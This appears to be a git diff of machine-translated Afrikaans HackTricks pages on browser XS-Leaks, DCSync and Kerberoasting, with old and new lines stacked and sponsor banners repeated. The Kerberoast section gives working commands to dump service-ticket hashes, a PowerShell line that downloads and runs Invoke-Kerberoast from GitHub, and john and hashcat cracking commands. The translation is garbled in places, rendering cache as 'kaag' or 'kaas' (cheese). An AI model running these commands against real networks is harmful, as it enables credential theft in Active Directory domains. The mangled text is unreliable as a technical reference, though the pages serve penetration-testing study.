Dit is waarom hierdie tegniek interessant is: Chrome het nou **kaagverdeling**, en die kaagsleutel van die nuut geopende bladsy is: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, maar as ek 'n ngrok-bladsy oopmaak en fetch daarin gebruik, sal die kaagsleutel wees: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, die **kaagsleutel is anders**, sodat die kaag nie gedeel kan word nie. Jy kan meer inligting hier vind: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
(Kommentaar van [**hier**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
Dit is waarom hierdie tegniek interessant is: Chrome het nou **kaasverdeling**, en die kaassleutel van die nuut geopende bladsy is: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, maar as ek 'n ngrok-bladsy oopmaak en fetch daarin gebruik, sal die kaassleutel wees: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, die **kaassleutel is anders**, sodat die kaas nie gedeel kan word nie. Jy kan meer inligting hier vind: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
(Kommentaar vanaf [**hier**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
{% endhint %}
As 'n webwerf `voorbeeld.com` 'n hulpbron vanaf `*.voorbeeld.com/hulpbron` insluit, sal daardie hulpbron dieselfde kaagsleutel hê asof die hulpbron direk deur topvlaknavigasie aangevra is. Dit is omdat die kaagsleutel bestaan uit topvlak _eTLD+1_ en rame _eTLD+1_.
As 'n webwerf `voorbeeld.com` 'n hulpbron vanaf `*.voorbeeld.com/hulpbron` insluit, sal daardie hulpbron dieselfde kaassleutel hê asof die hulpbron direk deur topvlak-navigasie aangevra is. Dit is omdat die kaassleutel bestaan uit topvlak _eTLD+1_ en rame _eTLD+1_.
Omdat toegang tot die kaag vinniger is as om 'n hulpbron te laai, is dit moontlik om te probeer om die ligging van 'n bladsy te verander en dit 20ms (byvoorbeeld) daarna te kanselleer. As die oorsprong verander is na die stop, beteken dit dat die hulpbron gekaag is.\
Of kan net **'n paar fetch na die moontlik gekaagde bladsy stuur en die tyd meet wat dit neem**.
Omdat toegang tot die kaas vinniger is as om 'n hulpbron te laai, is dit moontlik om te probeer om die ligging van 'n bladsy te verander en dit 20ms (byvoorbeeld) na die kansellasie te kanselleer. As die oorsprong verander is na die stop, beteken dit dat die hulpbron gekaas is.\
Of kan net **'n paar fetch na die moontlik gekaasde bladsy stuur en meet hoe lank dit neem**.
### Handmatige Aanstuur <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
* **Insluitingsmetodes**: Fetch API
* **Opspoorbare Verskil**: Aanstuur
* **Meer inligting**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7\_0\_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7\_0\_1234)
* **Opsomming:** Dit is moontlik om vas te stel of 'n reaksie op 'n fetch-aanvraag 'n aanstuur is
* **Opsomming:** Dit is moontlik om vas te stel of 'n reaksie op 'n fetch-versoek 'n aanstuur is
* **Kodevoorbeeld**:
![](<../../.gitbook/assets/image (769).png>)
@ -805,27 +805,27 @@ Of kan net **'n paar fetch na die moontlik gekaagde bladsy stuur en die tyd meet
* **Insluitingsmetodes**: Fetch API
* **Opspoorbare Verskil**: Tydsberekening
* **Meer inligting**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
* **Opsomming:** Dit is moontlik om te probeer om 'n hulpbron te laai en dit te kanselleer voordat dit gelaai is. Afhangende van of 'n fout geaktiveer word, was die hulpbron al dan nie gekaag.
* **Opsomming:** Dit is moontlik om te probeer om 'n hulpbron te laai en dit te kanselleer voordat dit gelaai is. Afhangende van of 'n fout geaktiveer word, was die hulpbron al dan nie gekaas.
* **Kodevoorbeeld**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
Gebruik _**fetch**_ en _**setTimeout**_ met 'n **AbortController** om beide te bepaal of die **hulpbron gekaag is** en om 'n spesifieke hulpbron uit die blaaierkaag te verwyder. Verder vind die proses plaas sonder om nuwe inhoud te kaag.
Gebruik _**fetch**_ en _**setTimeout**_ met 'n **AbortController** om beide te bepaal of die **hulpbron gekaas** is en om 'n spesifieke hulpbron uit die blaaierkaas te verwyder. Verder vind die proses plaas sonder om nuwe inhoud te kaseer.
### Skripsie Besoedeling
* **Insluitingsmetodes**: HTML Elemente (skripsie)
* **Opmerkbare Verskil**: Bladsy Inhoud
* **Meer inligting**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
* **Opsomming:** Dit is moontlik om **ingeboude funksies te oorskryf** en hul argumente te lees, selfs vanaf **kruis-oorsprong skripsie** (wat nie direk gelees kan word nie), dit kan **waardevolle inligting lek**.
* **Opsomming:** Dit is moontlik om **ingeboude funksies te oorskryf** en hul argumente te lees selfs vanaf **kruis-oorsprong skrips** (wat nie direk gelees kan word nie), dit kan **waardevolle inligting lek**.
* **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
### Dienswerkers <a href="#service-workers" id="service-workers"></a>
* **Insuittingsmetodes**: Pop-ups
* **Insluitingsmetodes**: Pop-ups
* **Opmerkbare Verskil**: Bladsy Inhoud
* **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
* **Opsomming:** Meet die uitvoertyd van 'n webwerf deur dienswerkers te gebruik.
* **Kode Voorbeeld**:
In die gegewe scenario neem die aanvaller die inisiatief om 'n **dienswerker** binne een van hul domeine te registreer, spesifiek "aanvaller.com". Vervolgens open die aanvaller 'n nuwe venster op die teikenwebwerf vanaf die hoofdokument en gee die **dienswerker** opdrag om 'n tydhouer te begin. Terwyl die nuwe venster begin laai, navigeer die aanvaller na die verwysing wat in die vorige stap verkry is na 'n bladsy wat deur die **dienswerker** bestuur word.
In die gegewe scenario neem die aanvaller die inisiatief om 'n **dienswerker** binne een van hul domeine, spesifiek "aanvaller.com", te registreer. Vervolgens open die aanvaller 'n nuwe venster op die teikenwebwerf vanuit die hoofdokument en gee die **dienswerker** opdrag om 'n tydhouer te begin. Terwyl die nuwe venster begin laai, navigeer die aanvaller na die verwysing wat in die vorige stap verkry is na 'n bladsy wat deur die **dienswerker** bestuur word.
Met die aankoms van die versoek wat in die vorige stap geïnisieer is, reageer die **dienswerker** met 'n **204 (Geen Inhoud)** statuskode, wat die navigasieproses effektief beëindig. Op hierdie punt neem die **dienswerker** 'n meting van die tydhouer wat vroeër in stap twee geïnisieer is. Hierdie meting word beïnvloed deur die duur van JavaScript wat vertragings in die navigasieproses veroorsaak.
@ -835,16 +835,16 @@ In 'n uitvoertyd is dit moontlik om **netwerk faktore te elimineer** om **meer p
### Ophalingstyd
* **Insuittingsmetodes**: Ophaal API
* **Opmerkbare Verskil**: Tyd (oor die algemeen as gevolg van Bladsy Inhoud, Status Kode)
* **Insluitingsmetodes**: Ophaal API
* **Opmerkbare Verskil**: Tydsberekening (oor die algemeen as gevolg van Bladsy Inhoud, Statuskode)
* **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
* **Opsomming:** Gebruik [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) om die tyd te meet wat dit neem om 'n versoek uit te voer. Ander klokke kan ook gebruik word.
* **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
### Kruis-Venster Tyd
### Kruis-Venster Tydsberekening
* **Insuittingsmetodes**: Pop-ups
* **Opmerkbare Verskil**: Tyd (oor die algemeen as gevolg van Bladsy Inhoud, Status Kode)
* **Insluitingsmetodes**: Pop-ups
* **Opmerkbare Verskil**: Tydsberekening (oor die algemeen as gevolg van Bladsy Inhoud, Statuskode)
* **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
* **Opsomming:** Gebruik [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) om die tyd te meet wat dit neem om 'n versoek uit te voer deur `window.open` te gebruik. Ander klokke kan ook gebruik word.
* **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
@ -852,10 +852,10 @@ In 'n uitvoertyd is dit moontlik om **netwerk faktore te elimineer** om **meer p
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik werkstrome te bou en te **outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=xs-search) om maklik werkstrome te bou en te **outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=xs-search" %}
## Met HTML of Herinspuiting
@ -869,16 +869,17 @@ Hier kan jy tegnieke vind om inligting van 'n kruis-oorsprong HTML te **eksfilee
### Beeld Lui Laai
As jy inhoud moet **eksfileer** en jy kan **HTML voor die geheime byvoeg**, moet jy die **gewone hangende opmaak tegnieke** nagaan.\
Maar, as jy om enige rede dit **MOET** doen **karakter vir karakter** (miskien is die kommunikasie via 'n trefgeheue tref) kan jy hierdie truuk gebruik.
As jy inhoud moet **eksfileer** en jy kan **HTML vooraf aan die geheime byvoeg**, moet jy die **gewone hangende opmaak tegnieke** nagaan.\
Maar, as jy om enige rede dit **KAN** doen **karakter vir karakter** (miskien is die kommunikasie via 'n tref in die kas) kan jy hierdie truuk gebruik.
**Beelde** in HTML het 'n "**laai**" attribuut waarvan die waarde "**lui**" kan wees. In daardie geval sal die beeld gelaai word wanneer dit besigtig word en nie terwyl die bladsy laai nie:
**Beelde** in HTML het 'n "**laai**" eienskap waarvan die waarde "**lui**" kan wees. In daardie geval sal die beeld gelaai word wanneer dit besigtig word en nie terwyl die bladsy laai nie:
```html
<img src=/something loading=lazy >
```
Daarom kan jy **'n hele klomp rommelkarakters byvoeg** (Byvoorbeeld **duisende "W"s**) om die webbladsy te **vul voor die geheim of iets soos** `<br><canvas height="1850px"></canvas><br>` by te voeg. Dan, as byvoorbeeld ons **inspuiting voor die vlag verskyn**, sal die **beeld** gelaai word, maar as dit **na** die **vlag** verskyn, sal die vlag + die rommel **voorkom dat dit gelaai word** (jy sal met die hoeveelheid rommel moet speel wat geplaas moet word). Dit is wat in [**hierdie skryfstuk**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) gebeur het.
Daarom kan jy **'n hele klomp rommelkarakters byvoeg** (Byvoorbeeld **duisende "W"s**) om die webblad te **vul voor die geheime ding of iets soos** `<br><canvas height="1850px"></canvas><br>` by te voeg.\
Dan, as byvoorbeeld ons **inspuiting voor die vlag verskyn**, sal die **beeld** gelaai word, maar as dit **ná** die **vlag verskyn**, sal die vlag + die rommel dit **verhoed om gelaai te word** (jy sal met die hoeveelheid rommel moet speel). Dit is wat in [**hierdie skryfstuk**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) gebeur het.
'n Ander opsie sou wees om die **scroll-to-text-fragment** te gebruik as dit toegelaat word:
'n Ander opsie sou wees om die **scroll-to-text-fragment** te gebruik indien toegelaat:
#### Scroll-to-text-fragment
@ -890,9 +891,9 @@ So die webbladsy sal iets soos wees: **`https://victim.com/post.html#:~:text=SEC
Waar post.html die aanvaller rommel karakters en lui laai beeld bevat en dan die geheim van die bot bygevoeg word.
Wat hierdie teks sal doen is om die bot enige teks op die bladsy te laat toegang wat die teks `SECR` bevat. Aangesien daardie teks die geheim is en dit net **onder die beeld** is, sal die **beeld slegs laai as die gerate geheim korrek is**. So daar het jy jou orakel om die geheim karakter vir karakter **uit te voer**.
Wat hierdie teks sal doen is om die bot enige teks op die bladsy te laat toegang wat die teks `SECR` bevat. Aangesien daardie teks die geheim is en dit net **onder die beeld** is, sal die **beeld slegs laai as die gerate geheim korrek is**. So daar het jy jou orakel om die geheim karakter vir karakter te **uit te skakel**.
'n Paar kodevoorbeelde om hiervan gebruik te maak: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
'n Paar kodevoorbeelde om hiervan te profiteer: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
### Beeld Luilaai Tyd Gebaseer
@ -910,7 +911,7 @@ Indien dit **nie moontlik is om 'n eksterne beeld te laai** wat die aanvaller ka
### CSS ReDoS
Indien `jQuery(location.hash)` gebruik word, is dit moontlik om deur tydsberekening uit te vind of sommige HTML-inhoud bestaan, dit is omdat as die selektor `main[id='site-main']` nie ooreenstem nie, hoef dit nie die res van die **selektore te kontroleer nie**:
Indien `jQuery(location.hash)` gebruik word, is dit moontlik om deur tydsberekening uit te vind of sommige HTML-inhoud bestaan, dit is omdat as die selektor `main[id='site-main']` nie ooreenstem nie, hoef dit nie die res van die **selektore te kontroleer** nie:
```javascript
$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")
```
@ -920,9 +921,9 @@ $("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id=
[css-injection](css-injection/)
{% endcontent-ref %}
## Verdedigings
## Verdediging
Daar is mitigasies wat aanbeveel word in [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) ook in elke afdeling van die wiki [https://xsleaks.dev/](https://xsleaks.dev/). Neem 'n kyk daar vir meer inligting oor hoe om teen hierdie tegnieke te beskerm.
Daar is mitigasies wat aanbeveel word in [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) ook in elke afdeling van die wiki [https://xsleaks.dev/](https://xsleaks.dev/). Kyk daar vir meer inligting oor hoe om teen hierdie tegnieke te beskerm.
## Verwysings
@ -934,11 +935,11 @@ Daar is mitigasies wat aanbeveel word in [https://xsinator.com/paper.pdf](https:
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks af in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -949,7 +950,7 @@ Ander maniere om HackTricks te ondersteun:
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkafvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=xs-search" %}

View file

@ -3,18 +3,18 @@
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiese werksvloei** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=dcsync) om maklik en **outomatiese werksvloei** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=dcsync" %}
<details>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -28,9 +28,9 @@ Die **DCSync**-toestemming impliseer dat hierdie toestemmings oor die domein sel
**Belangrike Notas oor DCSync:**
* Die **DCSync-aanval simuleer die gedrag van 'n Domeinbeheerder en vra ander Domeinbeheerders om inligting te repliseer** deur die Directory Replication Service Remote Protocol (MS-DRSR) te gebruik. Omdat MS-DRSR 'n geldige en noodsaaklike funksie van Active Directory is, kan dit nie afgeskakel of gedeaktiveer word nie.
* Standaard het slegs die **Domeinadministrateurs, Ondernemingsadministrateurs, Administrateurs, en Domeinbeheerders**-groepe die nodige voorregte.
* As enige rekeningwagwoorde met omkeerbare enkripsie gestoor word, is daar 'n opsie in Mimikatz beskikbaar om die wagwoord in die teks duidelik terug te gee
* Die **DCSync-aanval boots die gedrag van 'n Domeinbeheerder na en vra ander Domeinbeheerders om inligting te repliseer** deur die Directory Replication Service Remote Protocol (MS-DRSR) te gebruik. Omdat MS-DRSR 'n geldige en noodsaaklike funksie van Active Directory is, kan dit nie afgeskakel of gedeaktiveer word nie.
* Standaard het slegs die groepe **Domain Admins, Enterprise Admins, Administrators, en Domain Controllers** die vereiste voorregte.
* As enige rekeningwagwoorde met omkeerbare enkripsie gestoor word, is daar 'n opsie in Mimikatz beskikbaar om die wagwoord in die teksformaat terug te gee.
### Enumerasie
@ -87,7 +87,7 @@ Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveG
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks af in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -98,7 +98,7 @@ Ander maniere om HackTricks te ondersteun:
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkafvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=dcsync) om maklik te bou en **outomatiseer werksvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=dcsync" %}

View file

@ -3,14 +3,14 @@
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiese werksvloei** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=kerberoast) om maklik en **outomatiese werksvloei** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=kerberoast" %}
<details>
<summary><strong>Leer AWS hakwerk van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
@ -24,21 +24,21 @@ Ander maniere om HackTricks te ondersteun:
## Kerberoast
Kerberoasting fokus op die verkryging van **TGS-tikette**, spesifiek dié wat verband hou met dienste wat onder **gebruikersrekeninge** in **Active Directory (AD)** werk, met uitsluiting van **rekenaargebruikersrekeninge**. Die versleuteling van hierdie tikette maak gebruik van sleutels wat afkomstig is van **gebruikerswagwoorde**, wat die moontlikheid van **offline geloofsbriekkraak** moontlik maak. Die gebruik van 'n gebruikersrekening as 'n diens word aangedui deur 'n nie-leë **"ServicePrincipalName"** eienskap.
Kerberoasting fokus op die verkryging van **TGS-tikette**, spesifiek dié wat verband hou met dienste wat onder **gebruikersrekeninge** in **Active Directory (AD)** werk, met uitsluiting van **rekenaargebruikersrekeninge**. Die versleuteling van hierdie tikette maak gebruik van sleutels wat afkomstig is van **gebruiker wagwoorde**, wat die moontlikheid van **offline geloofsbriekkraak** bied. Die gebruik van 'n gebruikersrekening as 'n diens word aangedui deur 'n nie-leë **"ServicePrincipalName"** eienskap.
Vir die uitvoering van **Kerberoasting** is 'n domeinrekening wat in staat is om **TGS-tikette** aan te vra noodsaaklik; hierdie proses vereis egter nie **spesiale voorregte** nie, wat dit toeganklik maak vir enigiemand met **geldige domeinlegitimasie**.
### Sleutelpunte:
* **Kerberoasting** teiken **TGS-tikette** vir **gebruikersrekeningdienste** binne **AD**.
* Tikette wat versleutel is met sleutels van **gebruikerswagwoorde** kan **offline gekraak** word.
* Tikette wat versleutel is met sleutels van **gebruiker wagwoorde** kan **offline gekraak** word.
* 'n Diens word geïdentifiseer deur 'n **ServicePrincipalName** wat nie nul is nie.
* **Geen spesiale voorregte** is nodig nie, net **geldige domeinlegitimasie**.
### **Aanval**
{% hint style="warning" %}
**Kerberoasting gereedskappe** vra gewoonlik **`RC4-versleuteling`** aan wanneer die aanval uitgevoer word en TGS-REQ-aanvrae geïnisieer word. Dit is omdat **RC4** [**swakker**](https://www.stigviewer.com/stig/windows\_10/2017-04-28/finding/V-63795) is en makliker offline gekraak kan word met gereedskappe soos Hashcat as ander versleutelingsalgoritmes soos AES-128 en AES-256.\
**Kerberoasting gereedskappe** vra gewoonlik **`RC4-versleuteling`** aan wanneer die aanval uitgevoer word en TGS-REQ-versoeke geïnisieer word. Dit is omdat **RC4** [**swakker**](https://www.stigviewer.com/stig/windows\_10/2017-04-28/finding/V-63795) is en makliker offline gekraak kan word met gereedskappe soos Hashcat as ander versleutelingsalgoritmes soos AES-128 en AES-256.\
RC4 (tipe 23) hasings begin met **`$krb5tgs$23$*`** terwyl AES-256(tipe 18) begin met **`$krb5tgs$18$*`**`.
{% endhint %}
@ -53,7 +53,7 @@ GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERN
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Enumerate kerberoastable users
kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump hashes
```
### Veelkenmerkende gereedskap insluitend 'n dump van kerberoastbare gebruikers:
Multi-funksie gereedskap insluitend 'n dump van kerberoastbare gebruikers:
```bash
# ADenum: https://github.com/SecuProject/ADenum
adenum -d <DOMAIN.FULL> -ip <DC_IP> -u <USERNAME> -p <PASSWORD> -c
@ -87,7 +87,7 @@ python2.7 kirbi2john.py sqldev.kirbi
# Transform john to hashcat
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
```
* **Tegniek 2: Outomatiese gereedskap**
* **Tegniek 2: Outomatiese gereedskappe**
```bash
# Powerview: Get Kerberoast hash of a user
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
@ -104,18 +104,18 @@ iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
```
{% hint style="warning" %}
Wanneer 'n TGS aangevra word, word Windows-gebeurtenis `4769 - 'n Kerberos-dienskaart is aangevra` gegenereer.
Wanneer 'n TGS aangevra word, word Windows-gebeurtenis `4769 - 'n Kerberos-dienskaartjie is aangevra` gegenereer.
{% endhint %}
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=kerberoast) om maklik **werkstrome te bou** en outomatiseer wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=kerberoast" %}
### Krake
### Kraak
```bash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
@ -139,23 +139,23 @@ As jy hierdie **fout** vanaf Linux vind: **`Kerberos SessionError: KRB_AP_ERR_SK
